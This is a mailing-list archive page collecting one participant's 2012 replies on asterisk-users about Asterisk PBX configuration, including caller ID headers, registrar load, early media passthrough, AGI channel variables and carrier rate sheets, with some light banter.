Re: [asterisk-users] Flowroute: howto set outbound callerid (ast 1.4)?
SIPAddHeader() comes to mind. :-) -- Alex -- Sent from my Samsung mobile, and thus lacking in the refinement one might expect from a proper keyboard. Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Decatur, GA 30030 Tel: +1-678-954-0670 Web: http://www.evaristesys.com/Patrick Lists asterisk-l...@puzzled.xs4all.nl wrote:Hi, The flowroute website mentions that they set callerid on outbound calls based on the presence of (in order of preference): P-Asserted-Identity, Remote-Party-ID or From:. I've been trying to make outbound callerid work via flowroute to no avail. Does anyone have an extensions.conf / sip.conf snippet howto make this work? This is for Asterisk 1.4.44. Thanks! Patrick -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Replacing PBX with Asterisk, need feedback on my new architecture.
Are you certain that this wouldn't be an issue if the phones had low re-registration intervals? Historically, I've seen the Asterisk registrar faceplant with throughput in excess of 5-7 registrations/sec, though I have no idea as to whether that holds true of newer releases. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity and errors. Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com On May 11, 2012, at 10:40 PM, Kevin P. Fleming kpflem...@digium.com wrote: On 05/06/2012 01:39 PM, Paul Belanger wrote: 800 SIP phones on one server? I wouldn't want to do it. Add a SIP proxy to your design and have it handle all your SIP. Then you can load balance across multiple asterisk boxes. You'll be thankful you did this at the start, as it will allow you to increase resources more easily. As has already been pointed out by others in this thread, 800 phones on a single Asterisk server (using Asterisk 1.8.x or later and a decent spec server) is really no problem. If all of those phones are going to be subscribing to hints for a dozen or more of the other phones, then yes, that could be an issue, as the amount of NOTIFY traffic would be quite high... but for registration and normal calling, even if all these phones were in use at once, I would not expect any issues at all due to performance. The other comments about being able to take down a server for maintenance and not lose calling ability are certainly worth taking into consideration as well, but if your planned deployment would allow for reasonable scheduled maintenance windows, even that wouldn't justify the complexity of adding in one SIP proxy (or a pair of them) to the equation. -- Kevin P. Fleming Digium, Inc. | Director of Software Technologies Jabber: kflem...@digium.com | SIP: kpflem...@digium.com | Skype: kpfleming 445 Jan Davis Drive NW - Huntsville, AL 35806 - USA Check us out at www.digium.com www.asterisk.org -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Flashphoner
Really? Me? Oh Pavel! I would be inestimably honoured. On 04/27/2012 01:55 AM, Pavel Ismailov wrote: Hello! My name is Pavel Ismailov and I`m CEO of www.flashphoner.com project. We noticed that you quite active in Asterisk-user mail list, and would like to offer you buy signature in your messages for some monthly price. Is it interested for you? -- Thanks, Pavel Ismailov skype: pavel.ismailov www.flashphoner.com -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Decatur, GA 30030 Tel: +1-678-954-0670 Web: http://www.evaristesys.com/, http://www.alexbalashov.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Flashphoner
On 04/27/2012 01:24 PM, shayne.al...@gmail.com wrote: congratulations @};- It's a match made in Heaven. I have spare signature space to sell, and Pavel wants signature space to rent! At a low introductory rate of US$1800/word, he and I are going to make this happen... -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Decatur, GA 30030 Tel: +1-678-954-0670 Web: http://www.evaristesys.com/, http://www.alexbalashov.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Flashphoner
Only the premium dailing minties. The regular flashphoner ones are indebted to a complex vanilla ice cream + pork belly + cardboard mixture... -- This message was painstakingly thumbed out on my mobile, so apologies for brevity and errors. Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com On Apr 27, 2012, at 2:43 PM, Jason Parker jpar...@digium.com wrote: On 04/27/2012 01:39 PM, Don Kelly wrote: What flavor are flashphoner minties? --Don Dailing flavored. What else? -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Monitoring voice-quality with sip/rtp/rtcp
OpenVZ is not really virtualisation, though for some reason people insist on throwing it into the same discursive space as Xen, VMware, HyperV, etc. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Decatur, GA 30030 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Johan Wilfer li...@jttech.se wrote: 2012-04-09 20:22, Carlos Alvarez skrev: On Mon, Apr 9, 2012 at 10:25 AM, Administrator TOOTAI ad...@tootai.net mailto:ad...@tootai.net wrote: At first, if your Asterisk is in a VM install it on the real server, it solved us on some installations. We've gone away from VMs altogether. I use openVZ to run multiple asterisks on the same server. This works well and has done for some time. But currently once a week for about 10-15 minutes calls sound like packetloss/jitter occurs. But a week of traffic captures is heavy... So I need to automate this. To monitor the traffic, you can use voipmonitor.org http://voipmonitor.org We purchased the commercial version with a GUI and will tell you that the cost/benefit is very clear. Great tool, pretty cheap ($1k I think). Responsive support. Sounds very reasonable. Do you run this on a dedicated server, and configured the switch to duplicate the traffic to the quality server? Or do you run this on the same server as asterisk? Thanks for the suggestions! -- Johan Wilfer email: jo...@jttech.se JT Tech | Developer webb: http://jttech.se -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users-- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk 1.8 and DeadAGI
Look up the definition of NoOp. A moral and practical ambivalence inheres in that definition. It is neither more nor less beneficial to use or not use it, for it is a NoOp. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Decatur, GA 30030 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com bilal ghayyad bilmar...@yahoo.com wrote: Dears; In asterisk 1.8, it is not more possible to use DeadAGI? Also, I found the below commands in the a2billing and I would to ask why it set the sequence 1 for the Hangup()? Maybe because it is related to the NoOp? How? [a2billing-callingcard] exten = _X.,1,NoOp(A2Billing Start) exten = _X.,n,Answer() exten = _X.,n,Wait(2) exten = _X.,n,DeadAgi(a2billing.php,1) exten = _X.,1,Hangup() From the other hand, what is the benifit of using NoOp here? Because I tried it without NoOp and it was working? Regards Bilal -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Rate sheet normalization
We solve this problem for our customers all the time, in various situationally-specific ways. But yes, we are not really in a position to genericise it and give it away. It's not because we are greedy. The time and resources just aren't there. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com A E [Gmail] all.efor...@gmail.com wrote: On Mon, Mar 12, 2012 at 6:52 PM, Markus unive...@truemetal.org wrote: Hi, this question is not Asterisk specific, but since there are so many experts present on this list, maybe its OK to ask anyways. I'm having a hard time normalizing rate sheets from different providers. What I mean with this: the goal is to always get the cheapest rate for a given destination. What I would like to do is throw like 10 rate sheets from different providers together and as output get a single rate sheet with only the cheapest rates. However, some providers are listing a country, lets say Germany, as code 49 with a specific rate, and another provider will list each city individually, and each code separately, e.g. Berlin 4930, Hamburg 4940 etc., and probably different cities have different rates as well. Now, if the 49 route of the first provider is cheaper, my system (a2billing) will still use the more expensive 4930 code because it is more specific. I'm looking for some awesome, smart tool that will automatically normalize all these code differences and output a clean ratesheet with only the cheapest rates. Does such a thing exist? I wonder how everyone else is normalizing their different rate sheets. With a homebrewn script? Thanks! Markus, you're not the first person and certainly not the last person who's ever asked about this. I had tried this on several mailing lists a little while ago. A tool that could handle 10 or maybe even 5 provider rate-sheets all of which can potentially completely differ in formats from each other. Even worse are the rate update sheets from each provider which are many a times different from the initial rate sheets that the provider may have given you and then again they will differ from the rate updates from the remaining 4 providers you've just painstakingly inserted into your DB. Given the popularity of Asterisk and other popular OSS based telephony platforms with several successful businesses running 100s of millions of minutes, you'd think at least a few have sorted this problem out. But I believe those who have, never respond to these emails as it took them quite a bit of effort to create such a tool and aren't willing to just give it away. Just what I have observed (and was even blatantly told by someone on some mailing list, can't remember exactly) You may have to advertise in the commercial / business list or offer a bounty. There are several commercial solutions available but I think they all come as a feature of a larger billing/rating/routing platform -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users-- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Rate sheet normalization
On 03/28/2012 03:15 PM, Raj Mathur (राज माथुर) wrote: Times change -- the way to deal with that is to adapt I don't think you'll get any serious disagreement on that from anyone here. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Routing premature media to the calling channel
I assume you have ruled out NAT and firewall issues? Between those two, 99% of the reasons why something may not be routed somewhere correctly are accounted for. If you don't know, your best bet is to take a packet capture or SIP debug on the Asterisk server and find out where that early media is going. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini ldard...@gmail.com wrote: Hello, I have a problem with premature media and inband progress audio. I am using the latest 1.8.10.1 and this is the setup: soft phone --- asterisk --- SIP provider The number I call is giving back some hints via inband audio I am not able to ear from the soft phone. They stop on the asterisk and are not routed down the path to the sip phone. The SIP part is simple: soft phone - asterisk: INVITE asterisk - soft phone: TRYING asterisk - provider: INVITE asterisk - soft phone: 180 RINGING provider - asterisk: 183 SESSION PROGRESS provider - asterisk: AUDIO Unfortunately the AUDIO received from the provider by the asterisk box is not sent to the soft phone. I think I have tried every combination of progressinband and prematuremedia, without success. How can I made the audio received from the provider to the asterisk be transmitted to the soft phone? Thank you Leandro -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users-- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Routing premature media to the calling channel
Are you absolutely sure that nothing is coming out, even on a different interface than the one on which you are capturing? Are you capture on the Asterisk server and not the receiving host? Secondly, are you absolutely positive that something is supposed to be coming out? 183 does not logically imply or mandate backward early media, though 183+SDP is generally used as a convention to indicate that it is about to be sent. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini ldard...@gmail.com wrote: All NAT and firewall problems are already been excluded. All peers are on public IP address and no firewall is active between them. The missing routing of the audio path to the peer has been checked with tcpdump ... nothing is coming out from the asterisk box. Leandro 2012/3/25 Alex Balashov abalas...@evaristesys.com I assume you have ruled out NAT and firewall issues? Between those two, 99% of the reasons why something may not be routed somewhere correctly are accounted for. If you donapos;t know, your best bet is to take a packet capture or SIP debug on the Asterisk server and find out where that early media is going. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini ldard...@gmail.com wrote: Hello, I have a problem with premature media and inband progress audio. I am using the latest 1.8.10.1 and this is the setup: soft phone --- asterisk --- SIP provider The number I call is giving back some hints via inband audio I am not able to ear from the soft phone. They stop on the asterisk and are not routed down the path to the sip phone. The SIP part is simple: soft phone - asterisk: INVITE asterisk - soft phone: TRYING asterisk - provider: INVITE asterisk - soft phone: 180 RINGING provider - asterisk: 183 SESSION PROGRESS provider - asterisk: AUDIO Unfortunately the AUDIO received from the provider by the asterisk box is not sent to the soft phone. I think I have tried every combination of progressinband and prematuremedia, without success. How can I made the audio received from the provider to the asterisk be transmitted to the soft phone? Thank you Leandro -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users-- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Routing premature media to the calling channel
I think I may have misunderstood your initial question, sorry. You are looking for Asterisk to directly pass through the early media from upstream? Why would it do that? -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini ldard...@gmail.com wrote: The asterisk box has only one interface. I am capturing all the traffic on the box and the only audio traffic is from the provider to the asterisk box. Obviously if I set progressinband=yes, then I get the ringing tone from the asterisk box, but no the audio from the provider I was looking for. Leandro 2012/3/25 Alex Balashov abalas...@evaristesys.com Are you absolutely sure that nothing is coming out, even on a different interface than the one on which you are capturing? Are you capture on the Asterisk server and not the receiving host? Secondly, are you absolutely positive that something is supposed to be coming out? 183 does not logically imply or mandate backward early media, though 183+SDP is generally used as a convention to indicate that it is about to be sent. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini ldard...@gmail.com wrote: All NAT and firewall problems are already been excluded. All peers are on public IP address and no firewall is active between them. The missing routing of the audio path to the peer has been checked with tcpdump ... nothing is coming out from the asterisk box. Leandro 2012/3/25 Alex Balashov abalas...@evaristesys.com I assume you have ruled out NAT and firewall issues? Between those two, 99% of the reasons why something may not be routed somewhere correctly are accounted for. If you donapos;t know, your best bet is to take a packet capture or SIP debug on the Asterisk server and find out where that early media is going. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini ldard...@gmail.com wrote: Hello, I have a problem with premature media and inband progress audio. I am using the latest 1.8.10.1 and this is the setup: soft phone --- asterisk --- SIP provider The number I call is giving back some hints via inband audio I am not able to ear from the soft phone. They stop on the asterisk and are not routed down the path to the sip phone. The SIP part is simple: soft phone - asterisk: INVITE asterisk - soft phone: TRYING asterisk - provider: INVITE asterisk - soft phone: 180 RINGING provider - asterisk: 183 SESSION PROGRESS provider - asterisk: AUDIO Unfortunately the AUDIO received from the provider by the asterisk box is not sent to the soft phone. I think I have tried every combination of progressinband and prematuremedia, without success. How can I made the audio received from the provider to the asterisk be transmitted to the soft phone? Thank you Leandro -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users-- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Routing premature media to the calling channel
As far as I know, this is not the general tendency of any B2BUA that generates such media independently. However, I could be mistaken. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini ldard...@gmail.com wrote: I want to have the early media to pass from the provider down to the soft phone because it contains important information about the call, like Your call cannot go through, please try your call again ... The provider is giving this info via early media, just after the 183 SESSION PROGRESS. Leandro 2012/3/25 Alex Balashov abalas...@evaristesys.com I think I may have misunderstood your initial question, sorry. You are looking for Asterisk to directly pass through the early media from upstream? Why would it do that? -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini ldard...@gmail.com wrote: The asterisk box has only one interface. I am capturing all the traffic on the box and the only audio traffic is from the provider to the asterisk box. Obviously if I set progressinband=yes, then I get the ringing tone from the asterisk box, but no the audio from the provider I was looking for. Leandro 2012/3/25 Alex Balashov abalas...@evaristesys.com Are you absolutely sure that nothing is coming out, even on a different interface than the one on which you are capturing? Are you capture on the Asterisk server and not the receiving host? Secondly, are you absolutely positive that something is supposed to be coming out? 183 does not logically imply or mandate backward early media, though 183+SDP is generally used as a convention to indicate that it is about to be sent. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini ldard...@gmail.com wrote: All NAT and firewall problems are already been excluded. All peers are on public IP address and no firewall is active between them. The missing routing of the audio path to the peer has been checked with tcpdump ... nothing is coming out from the asterisk box. Leandro 2012/3/25 Alex Balashov abalas...@evaristesys.com I assume you have ruled out NAT and firewall issues? Between those two, 99% of the reasons why something may not be routed somewhere correctly are accounted for. If you donapos;t know, your best bet is to take a packet capture or SIP debug on the Asterisk server and find out where that early media is going. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini ldard...@gmail.com wrote: Hello, I have a problem with premature media and inband progress audio. I am using the latest 1.8.10.1 and this is the setup: soft phone --- asterisk --- SIP provider The number I call is giving back some hints via inband audio I am not able to ear from the soft phone. They stop on the asterisk and are not routed down the path to the sip phone. The SIP part is simple: soft phone - asterisk: INVITE asterisk - soft phone: TRYING asterisk - provider: INVITE asterisk - soft phone: 180 RINGING provider - asterisk: 183 SESSION PROGRESS provider - asterisk: AUDIO Unfortunately the AUDIO received from the provider by the asterisk box is not sent to the soft phone. I think I have tried every combination of progressinband and prematuremedia, without success. How can I made the audio received from the provider to the asterisk be transmitted to the soft phone? Thank you Leandro -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http
Re: [asterisk-users] Rate sheet normalization
Our system just rolls over until it finds a carrier that will take it. Up to 30 different routes are supported, and rollover is pretty instantaneous in most cases. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity and errors. Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com On Mar 15, 2012, at 11:14 PM, Ast Coder asteriskcod...@gmail.com wrote: I would be more interested in a system where quality routes are tested with different providers because rate really doesn't matter if a call can't be placed or if a destination is a fake one. We have seen many fake destinations with top tier providers but they had the best rates so the strategy to pick them first really didn't work. So, maybe a subscription service where a dialler system continuously tests routes with a list of 10 providers so that it's established which routes actually work and then allow that data to be downloaded for usage. On Thu, Mar 15, 2012 at 8:42 PM, Markus unive...@truemetal.org wrote: Am 15.03.2012 17:20, schrieb Raj Mathur (राज माथुर): On Thursday 15 Mar 2012, Markus wrote: With like 10 different ratesheets from 10 different providers, of which many change their rates every few days, manually doing it in Excel is too time consuming... Is it possible to get samples? I'd be interested in looking into developing a script that can handle this problem generically, and presumably you're available to alpha- and beta-test in any case :) Most definitely! I'll get in touch off-list. :) -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] AGI and retreiving data, how to use this data in extensions.conf
Easiest thing is to have your AGI script set channel variables, which can be read in the dial plan. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity and errors. Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com On Mar 10, 2012, at 3:27 PM, bilal ghayyad bilmar...@yahoo.com wrote: Hi All; I know that I can use the AGI to call (run) a script (php or python or any other kind of scripts), but the question is: If I have information that I need to build a decision in the extensions.conf based on it, and these informations can be obtained using this script, so how I will read these informations? What is the method to read it from the database and store it in a variable that I can use it in the extensions.conf to do proper call routing? How? Regards Bilal -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Force sip peers to re register
No, only endpoints decide when to retry registration attempts. If the registration info is your only means of knowing how to reach those peers from Asterisk, and that information is still valid at a given time, it wouldn't make much sense to force them to reregister, would it? :-) And if the information is invalid, you have no means of reaching them for the purpose of executing such a remote trigger, even if it did exist. The only thing you can do is lower the registration interval Asterisk asks of the phones. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity and errors. Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com On Mar 4, 2012, at 2:15 PM, resea...@businesstz.com wrote: I have hundreds of sip endpoints (mostly polycom) which i would like to immediate request them to reregister when we failover/fallback to the standby server. However it takes so long and i would like to know if there is a command to force all sip peers to attempt registration. I have tried both 'service asterisk restart' and 'reload' in vain. IP phones can be accessed at that time but no registration happen. Sam -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Same provider - IAX sounds bad, SIP sounds great
IAX is not supported or taken seriously outside the Asterisk ghetto, and that's good enough reason not to use it, IMHO. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Same provider - IAX sounds bad, SIP sounds great
Oops, I meant da Asterisk 'hood. Thanks for the protip. On 02/28/2012 06:55 PM, Steve Totaro wrote: Hey Alex, Hope you are well. Just a piece of advice. Many or most people do not know the real definition of ghetto and take it as a negative, poor, racial, black, connotation. Your vocabulary and and ability to articulate correctly can get you in trouble sometimes. Anyone that thinks that the word Ghetto means anything above, or a racial slur should look up the true definition. It isn't even an insult to the Asterisk Community. By definition, the Asterisk Community is an online Ghetto. Just wanted to clear that up before someone tries to label you. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] how many UDP ports is required for 1 call
